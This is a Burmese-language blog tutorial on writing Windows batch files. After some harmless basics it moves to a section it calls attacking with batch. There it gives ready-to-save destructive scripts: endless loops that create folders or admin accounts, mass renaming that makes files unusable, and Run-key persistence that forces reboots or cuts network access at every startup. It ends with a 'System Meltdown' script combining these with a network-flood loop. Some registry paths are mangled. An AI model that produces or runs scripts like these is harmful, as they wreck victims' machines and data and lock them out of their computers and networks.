Batch File အလြယ္ေရးနည္း (၂)




အေပၚက ပုံမ်ဳိးေလးေပ့ါ ဒါဆုိရင္ ေအာက္က ဖုိတာေတြ က်လာပါမယ္…



အဲ့တည္းမွာ ရွိတဲ့ ပရုိဂရမ္ မွန္သမွ Bat Code ျဖစ္တယ္တဲ့ start (သုိ ့) call ဆုိတာနဲ ့လွမ္းေခၚလုိ ့ရပါတယ္..
ဥပမာ အေနနဲ ့ ထပ္စမ္းရေအာင္ဗ်ာ.. system 32 တည္းမွာ calc.exe ဆုိတာေလး ေတြ ့ပါတယ္..
ဒီေတာ့ Notepad ကိုဖြင့့္မယ္..ျပီးရင္
Call calc.exe
(သုိ ့မပာုတ္)
Start calc.exe
လုိ ့ထည့္ျပီး start2.bat နဲ ့ save လုပ္ပီးစမ္းၾကည့္နုိင္ပါတယ္.။
ဒီေနရာမွာ ေတာ့သင္ ဖြင့္ေစခ်င္တဲ့ Game File သုိ ့မပာုတ္ တစ္ျခားတစ္ျခားေသာ ပရုိဂရမ္ေလးေတြဆုိရင္
အဲ့ဒီ System32 တည္းကို သြားထည့္ထားျပီး နမည္ေလးနဲ ့လွမ္းေခၚဖြင့္လုိ ့ရပါတယ္။
ဥပမာ Dota.exe ေလးကို system32 တည္းကိုသြားကူးထည့္လုိက္မယ္..
ျပီးရင္ Run box (သုိ ့မပာုတ္) Bat Command ေလး ေတြျဖစ္တဲ့ call Dota.exe (or) start Dota.exe ဆုိျပီးလွမ္းဖြင့္လုိ ့ရပါတယ္။ ဒီကေတာ့ Bat Command နဲ ့ shortcut လုပ္နည္းပါ။

Batch ပရုိဂ၇မ္ တစ္ခု စေရးေတာ့မယ္ဆုိရင္ေတာ့ အနည္းဆုံး အဆင့္ အေနနဲ ့ window တစ္ခုရဲ ့လုပ္ေဆာင္
မူေတြကို အနည္းငယ္နားလည္ထားသင့္ပါတယ္။
အခုေတာ့ mode ဆုိတာေလးေၾကာင္းကို မိတ္ဆက္ေပးပါ့မယ္..
Mode ဆုိတာကေတာ့ Batch မွာ လွပေသသပ္သြားေအာင္ ေဘာင္ခက္တယ္လုိ ့ေခၚဆုိနုိင္ပါတယ္..
ကုဒ္ေလးတစ္ခုနဲ ့စျပီး စမ္းၾကည့္ရေအာင္….

@echo off
Color 0a
Mode 77,33
@echo Yet , I am here
Pause

ဒါဆုိရင္ေတာ့ လွပ ေသသပ္တဲ့ ေဘာက္ေလးေတြနဲ ့ျဖစ္သြားပါပီ…။
ဒီတစ္ခါေတာ့ Random Code အေၾကာင္း သုံးျပပါမယ္..
ဒါေလးက သုံးတတ္ရင္ ေတာ္ေတာ္ခက္ဆုိးဆုိး ျဖစ္နုိင္တဲ့ အႏၲာရာယ္ေတြကို သင့္စက္တည္းကို ပုံထည့္
လုိ က္လုိ ့ရပါတယ္… အရင္ဆုံးအေနနဲ ့ Matrix Code ေလး ေတြေျပးေနေအာင္စမ္းၾကည့္ရေအာင္ဗ်ာ..

@echo off
title Matrix Code
color 0a
:a
echo %random% %random% %random% %random% %random% %random% %random%
%random% %random% %random%%random% %random%
goto:a
pause

ထည့္လိုက္ပါဗ်ာ။။.. အဲ့မွာ အကုန္ နည္း လည္ျပီးေတာ့ :a နဲ ့ goto:a ဆုိတဲ့code ေလးႏွစ္ခုကို
နားမလည္ခ်င္နားမလည္ပါလိမ့္မယ္… အဲ့ဒါက တစ္ျခားပာာမပာုတ္ပါဘူး :a ဆုိတဲ့ စမွတ္ေလးေပးျပီး
ၾကားမွာ ကို Run ေစခ်င္တဲ့ Code ေတြကိုထည့္မယ္ျပီးရင္ေတာ့ goto:a ဆုိျပီး အပိတ္ေလးနဲ ့
ျပန္ပိတ္ေပးရပါမယ္.. ဒါဆုိရင္ သူက ဘယ္ေတာ့မွ မရပ္ေတာ့ဘဲ မပိတ္မခ်င္းကို :a နဲ ့ goto:a ၾကားမွာရွိတဲ့
Code ေတြ Run ေနမွာျဖစ္ပါတယ္…
ေအာက္ကပုံေလးလုိေပ့ါဗ်ာ..


ဒါကေတာ့ Random နဲ ့လုပ္ထားတာေပ့ါ ကုဒ္ေတြက်ခ်င္တာက်ေနမယ္… ဒါေလးက အလွသက္သက္ေပ့ါေနာ္
ဒီတစ္ခါ Random ရဲ ့ဆုိးသြင္းခ်က္ တစ္ခုကို ျပပ့ါမယ္.. တစ္ခုဘဲ ျပမွာပါ ဥပမာ အေနနဲ ့ေပ့ါ တစ္ျခား လုပ္ရ
တဲ့နည္းေတြအမ်ားၾကီးက်န္ပါေသးတယ္…

@echo off
:a
md %random%
goto:a

အဲ့ကုဒ္ေလးကိုၾကည့္ပါအုံး md ဆုိတာက Folder အသစ္တစ္ခုကို တည္ေဆာက္တာပါ.. cmd(command
box)
တည္းမွာ md chartape လုိ ့ထည့္ျပီး အမ္းဒါးေခါက္လုိက္ရင္ chartape ဆုိျပီးေတာ့ Folder ေလးတစ္ခု
ရရွိလာမွာျဖစ္ပါတယ္။ ခု သုံးထားတာကေတာ့ md %random% လုိ ့သုံးထားေတာ့ random က်ခ်င္တာက်
မယ္ ျဖစ္ခ်င္တာျဖစ္မယ္.. တကယ္သုိ ့သာ အဲ့ code ေလးကို သြား Run မိမယ္ဆုိရင္ေတာ့ ၁ မိနစ္အတြင္း
Folder တစ္ေထာင္ေလာက္ကို ဖြားခနဲ ဖြားခနဲ ့ ထြက္သြားမွာျဖစ္ပါတယ္.. ဒါေလးက ဘာမွမပာုတ္တဲ့
Folder Create လုပ္တာဘဲရွိပါေသးတယ္ တစ္ျခား ေနရာေတြက်န္ပါေသးတယ္ ။ဒီေတာ့ %random%
ဆုိတာ ေပ်ာ့ေပ မယ့္ေသေလာက္ပါတယ္…
ခုေတာ့ “ cls “ ဆုိတာေလး အေၾကာင္း ၇ွငး္ျပပါမယ္။
Cls ဆုိတာက Clean လုပ္ခုိင္းတာပါဘဲ။ အရင္ ဆုံး သိခ်င္ရင္စမ္ဖုိ ့ တစ္ခုခု လုပ္ၾကည့္ၾကပါမယ္.။
Command box (CMD) ကုိဖြင့္လိုက္ပါ.. Command တစ္ခုခု ကို ထည့္ေပးလုိက္ပါ။
ဥပမာ - netstat –nbt ( အုိင္ပီ ထေရ ့လုိက္နုိင္တဲ့ Command code ပါ )
ဒီေတာ့ ေအာက္ကလိုေပၚမယ္ဗ်ာ..


ဒီေတာ့ အဲ့ဒါေတြက မလုိအပ္ေတာ့ဘူးထင္ရင္ command မွာ cls လုိ ့ထည့္ေပးပီး အမ္းဒါးေခါက္လုိက္ရင္
အကုန္ရွင္းသြားမွာျဖစ္ပါတယ္။
ကဲ လက္ေတြ ့ဖတ္ပီး စမ္းေနတယ္ဆုိရင္နားလည္ မွာမယ္လုိ ့ ယူဆပါတယ္။
ေနာက္တစ္ခု အေနနဲ ့ကေတာ့ >nul ဆုိတာ ေလးကိုပါဘဲ။ အလြယ္ဆုံးရွငး္ျပရမယ္ဆုိရင္ေတာ့ command
နဲ ့လုပ္ေဆာင္ခ်က္ အမ်ားစုပာာ အခု ျမင္ေတြ ့ေနရတဲ့ အမဲေရာင္ေဘာက္ၾကီးတည္းမွာ ေပၚေနမွာဘဲျဖစ္ပါ။
ဒီေတာ့ အဲ့လ ိုမေပၚေစခ်င္ဘဲ နဲ ့ေနာက္ကြယ္ကေန လုပ္ခုိင္း တဲ့အခါ >nul ဆုိတကို သုံးေပးရပါတယ္။
ဥပမာ အေနနဲ ့ အခ်ိန္ ကိုေစာင့္ ေစတဲ့ command code – [ timeout –t 10] ဆုိပါါေတာ့ဗ်ာ။

@echo off
Timeout –t 10

အဲ့ကုဒ္ ဆုိရင္ ေအာက္ကပုံေလးအတုိင္းျမင္ရပါမယ္။



အဲ့မွာ timeout –t 10 ဆုိျပီး အခ်ိန္ေပးခဲ့လုိ ့ ခု ဒီမွာ အလုပ္လုပ္ေန တာကိုျမင္ရပါမယ္။ 10 seconds ျပည့္
သြားရင္ ဘာမွ ဆက္ run မခုိငး္ထားေတာ့လုိ ့ပိတ္သြားမွာျဖစ္ပါတယ္။ ဒီေနရာမွာ >nul ကို ထည့္သုံးပါမယ္။
@echo off
Timeout –t 10 >nul
အဲ့ကုဒ္ ဆုိရင္ေတာ့ ဘာမွျမင္ရေတာ့မွာမပာုတ္ပါဘူး ေနာက္ကြယ္မွာ အခ်ိန္ 10 seconds ကုိသူ ့ဘာသာေရ
မယ္ပီးရင္ ပိတ္သြားမွာပါ။ ဒါက null အေၾကာင္းပါ။ ဒီေတာ့ အေၾကာင္းေလး ဆက္သြားတာနဲ ့ ပရုိဂ၇မ္ အေသး
ေလး တစ္ခု လုပ္ၾကည့္ၾကပါမယ္။
ဒီတစ္ခါေတာ့ Matrix ရုပ္ရွင္ ကားကုိ ၾကည့္ ဖူးၾကမယ္ထင္ပါတယ္။
အဲ့မွာ နမည္ထုိးသြားတဲ့ပုံစံေလးေတြေတာ္ေတ္ာ မုိက္ပါတယ္။ ဒီလုိ ေလး လုပ္ၾကည့္ရေအာင္ဗ်ာ။
ဒီေတာ့ ေအာက္က ကုဒ္ေလးေတြကို ထည့္သြင္းၾကည့္ရပါမယ္..

@echo off
:a
echo M
ping localhost -n 2 >nul
cls
echo M S
ping localhost -n 2 >nul
cls
echo M S Y
ping localhost -n 2 >nul
cls
echo M S Y S
ping localhost -n 2 >nul
cls
:goto
Localhost (မိမိစက္) အတြင္း ping ရုိက္ၾကည့္တာပါဘဲ.. အဲ့ကုဒ္ေလးေတြကို ကူးထည့္ျပီး Run ၾကည့္လုိက္ပါ။
ကုဒ္ အကုန္လုံးက သိပီးသာ ျဖစ္မွာပါ။

ကဲ စာအုပ္ဖတ္ရတာ ပ်င္းသြားေလာက္ပါပီ။ မပ်င္းရေလ ေအာင္ attacking with batch ေလး နည္းနည္း
ထည့္မယ္ဗ်ာ။ ဒီတစ္ခါေတာ့ Window Administrator Account ေတြကို ဖြာခနဲ ့ ဖြာခနဲ ့ ျဖစ္ေအာင္
လုပ္ခ်လုိက္ရေအာင္ဗ်ာ။ ေျပာခ်င္တာကေတာ့ window login account ေတြ အမ်ားၾကီး လုပ္ေပးမယ့္
Code ေလးပါ။

@echo off
:a
net user admin /add
goto:a

အဲ့မွာၾကည့္လုိက္ပါ။ net user ဆုိတာကေတာ့ မိမိတုိ ့ network အတြင္းအသုံးျပဳ ့သူေတြေပ့ါေနာ္။
အဲ့မွာ admin / add လုိ ့ ဆြဲထည့္လိုက္ပါတယ္။ net user admin / add ဆုိျပီး တစ္ခါ ကြန္မန္ ့ရုိက္ရင္
အက္မင္ အေကာင့္ တစ္ခု အသစ္လုပ္ပိးသား ျဖစ္ေနမွာပါ ။ :a – goto:a ေပးခဲ့လုိက္တာဆုိေတာ့
အဲ့ Run မိလုိက္တဲ့ Batch File ကုိ မပိတ္မခ်င္း အက္မင္ အေကာင့္ေတြ ဖြင့္ေနမွာျဖစ္ပါတယ္။
ခန္ ့မွန္းေျခအရေတာ့ ၁ မိနစ္ကို ၁၀ ေကာင့္ အနည္းဆုံး ဖြင့္ပါတယ္။
mouse button swapping ေလးလုပ္ၾကည္ ရေအာင္ဗ်ာ..
ဘာမွ မခက္ပါဘူး ေအာက္ကုဒ္ေလး ထည့္လုိက္ပါ။

@echo off
Rundll32 user32,SwapMouseButton

ဒါဆိုရင္ေတာ့ ဘယ္ညာ ခ်ိန္းသြားမွာျဖစ္ပါတယ္။
ေပ်ာ့ေပ်ာ့ေလးနဲ ့ထိတဲ့ Batch Code ေလး လုပ္ၾကည့္ရေအာင္ဗ်ာ… VMware တည္းမွာဘဲစမ္းပါခင္ဗ်ာ။

ren *.txt *.vir
ren *.avi *.vir

ျပီးရင္ Test.bat (or) test.cmd လုိ ့မွတ္လိုက္ပါ..
အဲ့ test.bat ဖုိင္ရွိေနတဲ့ ဖုိတာ တည္းက ပာာအကုန္ လုံး ကို ဆုိရင္ txt နဲ ့ avi ဖုိင္ သမွ် အကုန္လုံး vir အျဖစ္
ေျပာင္းလဲသြားမွာပါ... ဘာမွ ကို ဖြင့္ရမွာမပာုတ္ေတာ့ပါဘူး..
ခက္ျပင္းျပင္းကိုၾကိုက္တယ္ဆုိရင္ေတာ့ ေအာက္က ကုဒ္တစ္ေၾကာင္းတည္းကိုသုံးလုိက္ပါ

Cd\
ren *.* *.vir

ဒါက အလြတ္သက္သက္ေပ့ါေနာ္.. တစ္ကယ္လုိ ့မ်ား %random% ထည့္မယ္ဆုိရင္ေတာ့ ….
ဒါဆုိ စက္တစ္ခုလုံး နိဗၺာန္ ေရာက္ပါျပီ...
စမ္းခ်င္ရင္ေတာ့ VMware တည္းမွာစမ္းၾကပါ..
Solution လုိခ်င္သူမ်ားအတြက္ကေတာ့...
ကြ်န္ေတာ္တုိ ့ မစမ္းခင္ Backup လုပ္ထားပါ..
 Restore Point လုပ္ထားပါ..
ဒါဆုိရင္ေတာ့ ျပန္ျပီးျပဳ ့ျပန္နုိင္ပါတယ္...
မသိတဲ့သူကေတာ့ window ျပန္တင္ေပ့ါေနာ္..
ဒီတစ္ခါေတာ့ Computer ကုိ ဖြင့္တာနဲ ့ Shutdown ျပန္ျပန္ က်မယ့္ ကုဒ္ေလးနဲ ့မိတ္ဆက္ေပးပါမယ္။

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz
/d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d
c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

ဒါေလးက စာအုပ္ အပုိင္း (၁) ေလးမုိ ့ဒီေလာက္နဲ ့တင္ ရပ္နားခြင့္ေပးပါခင္ဗ်ာ။ ဘာမွမသိတဲ့သူ ဒီစာအုပ္ေလး
ကိုဖတ္ပီး အနည္းအက်ဥ္း ျဖစ္ျဖစ္ နားလည္ သြားမယ္လို ့ေမွ်ာ္လင့္ပါတယ္။ ထပ္ပီး ေလ့လာ ခ်င္သူမ်ား
အတြက္ အပိုင္း (၂) ကိုလည္း ေရးသားေပးပါအုံးမယ္.။ Batch File အေၾကာင္းေရးရင္ စာအုပ္ တစ္အုပ္တည္း
နဲ ့သာေရးေနမယ္ဆုိရင္ ကြ်န္ေတာ္ ၁၀ ႏွစ္ ၁၀ မုိး ျပီးမွာကိုမပာုတ္ေတာ့ပါဘူး ။ ဒါေၾကာင့္ အပုိင္းေတြခြဲပီး
ေရးသား ေပးသြားမွာျဖစ္ပါတယ္။ Code မ်ားကို ထပ္ေလ့လာခ်င္သူမ်ားအတြက္ ေအာက္မွာ အနည္းအက်ဥ္းထပ္ထည့္ေပးလုိက္ပါတယ္။ ေလ့လာၾကည့္လုိက္ပါအုံးခင္ ဗ်ာ။
_______________________
Disable internet permanently
(save as hinternet.bat)
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t
reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t
reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
______________________________
Change files to non-working TXT files
(save as txt.bat)
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
______________
System Meltdown
(save as Crash.bat)
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz
/d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v HAHAHA /t reg_sz /d
c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t
reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t
reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED *****
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
PAUSE
PAUSE

_____________________
Temporarily flood network
(save as flood.bat)
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
_______________________
Temporarily disable internet
(save as internet.bat)
ipconfig /release
Shutdown Computer Once
(save as shutdown.bat)
shutdown -r -f -t0



Credit:  www.minsoeyarsar.com
            Min Soe Yar Sar (MSYS)

Comments

Popular posts from this blog

Computer Basic-3 (CPU)

Memory Stick ထဲ မှVirus ကြောင့် ဖိုင်များ ပျောက်သွားရင် အလွယ်တကူ ရှာနည်း

Basic Network Communications(အခြေခံ Network ချိတ်ဆက်ခြင်း)